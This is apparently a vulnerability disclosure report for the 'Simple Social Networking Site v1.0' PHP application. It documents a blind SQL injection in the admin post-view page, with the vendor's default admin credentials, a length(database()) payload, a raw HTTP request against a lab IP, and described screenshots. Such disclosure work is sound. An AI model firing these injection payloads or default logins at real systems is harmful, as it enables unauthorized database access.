

main

...

bug_report / vendors / oretnom23 / simple-social-networking-site / SQLi-2.md



debug601 Create SQLi-2.md

History

1 contributor

39 lines (25 sloc) | 1.5 KB

...

Simple Social Networking Site v1.0 by oretnom23 has SQL injection

Author: k0xx

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15311/simple-social-networking-site-instagram-phpoop-free-source-code.html>

Vulnerability File: /sns/admin/?page=posts/view_post&id=

Vulnerability location: /sns/admin/?page=posts/view_post&id=id

[+] Payload: /sns/admin/?

page=posts/view_post&id=2%27%20and%20length(database())%20=6--+ // Leak place ---
> id

Current database name: sns_db,length is 6

```
GET /sns/admin/?page=posts/view_post&id=2%27%20and%20length(database())%20=6--+ HTTP
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=n23o4bgngdq5q3js6l0a0i6r6k
Connection: close

When length (database ()) = 5, Content-Length: 27535

The screenshot displays a web browser window with the address bar showing the URL: `http://192.168.1.19/sns/admin/?page=posts/view_post&id=2%27%20and%20length(database())%20=5--+`. The browser's developer tools are open, showing the raw HTTP request and response. The request is a GET method with a Content-Length of 27535. The response is an HTML page from the server, titled "Simple Social Networking Site", which displays a message "Post ID is invalid." and a "确定" (Confirm) button.

When length (database ()) = 6, Content-Length: 31610

The screenshot displays a web browser window with the address bar showing the URL: `http://192.168.1.19/sns/admin/?page=posts/view_post&id=2%27%20and%20length(database())%20=6--+`. The browser's developer tools are open, showing the raw HTTP request and response. The request is a GET method with a Content-Length of 31610. The response is an HTML page from the server, titled "Simple Social Networking Site", which displays a message "Post ID is invalid." and a "确定" (Confirm) button.

INT

SQL BASICS• UNION BASED• ERROR/DOUBLE QUERY• TOOLS• WAF BYPASS• ENCODING• HTML• ENCRYPTION• OTHER• XSS• LFI•

Load URL

Split URL

Execute

Post data

Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replacing string

Replace All

InstaMage - PHP

Simple Social Networking Site - Admin

Administrator Admin

Developed by oretno

Dashboard

Main

List of Members


List of Posts

Maintenance

User List

Settings

Post Details



Mark D Cooper
Posted May 03, 2022 11:56 AM

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras laoreet accumsan sem, vel egestas diam eleifend sit amet. Praesent egestas ullamcorper nunc.

Maecenas nibh diam, porta vitae pulvinar a, vulputate at turpis.